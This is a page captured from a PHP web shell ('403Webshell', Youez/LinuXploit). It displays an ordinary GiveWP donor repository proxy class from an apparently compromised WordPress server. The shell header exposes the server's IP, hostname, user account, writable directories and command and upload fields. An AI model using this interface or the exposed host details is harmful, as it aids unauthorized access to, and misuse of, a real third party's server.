403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.22.194.5
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/task/7779/cwd/plugins/give/src/Donors/Repositories/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/task/7779/cwd/plugins/give/src/Donors/Repositories/DonorRepositoryProxy.php
<?php

namespace Give\Donors\Repositories;

use Give\Donors\Models\Donor;
use Give\Framework\Exceptions\Primitives\InvalidArgumentException;
use Give_DB_Donors;

/**
 * This proxy determines which donors repository to call donors->method() from.
 * In the case of naming conflicts, we will manually check SHARED_METHOD against their arguments.
 *
 * @since 2.19.6
 *
 * @mixin DonorRepository
 * @mixin Give_DB_Donors
 *
 * @throws InvalidArgumentException
 */
#[\AllowDynamicProperties]
class DonorRepositoryProxy
{
    const SHARED_METHODS = ['insert', 'update', 'delete'];

    /**
     * @var Give_DB_Donors
     */
    private $legacyDonorRepository;
    /**
     * @var DonorRepository
     */
    private $donorRepository;

    /**
     * The Give_DB_Donors class extends Give_DB which has & assigns public properties that we need to
     * dynamically assign to this proxy class or else they won't be accessible.
     *
     * @since 2.19.6
     */
    public function __construct(Give_DB_Donors $legacyDonorRepository, DonorRepository $donorRepository)
    {
        $this->legacyDonorRepository = $legacyDonorRepository;
        $this->donorRepository = $donorRepository;

        $properties = get_object_vars($legacyDonorRepository);

        foreach ($properties as $key => $value) {
            $this->$key = $value;
        }
    }

    /**
     * @since 2.19.6
     *
     * @param  string  $method
     * @param  array  $parameters
     * @return mixed
     */
    public function __call($method, $parameters)
    {
        if (in_array($method, self::SHARED_METHODS, true)) {
            return $parameters[0] instanceof Donor ? $this->donorRepository->{$method}(
                ...$parameters
            ) : $this->legacyDonorRepository->{$method}(...$parameters);
        }

        if (method_exists($this->donorRepository, $method)) {
            return $this->donorRepository->{$method}(...$parameters);
        }

        if (method_exists($this->legacyDonorRepository, $method)) {
            return $this->legacyDonorRepository->{$method}(...$parameters);
        }

        throw new InvalidArgumentException("$method does not exist.");
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit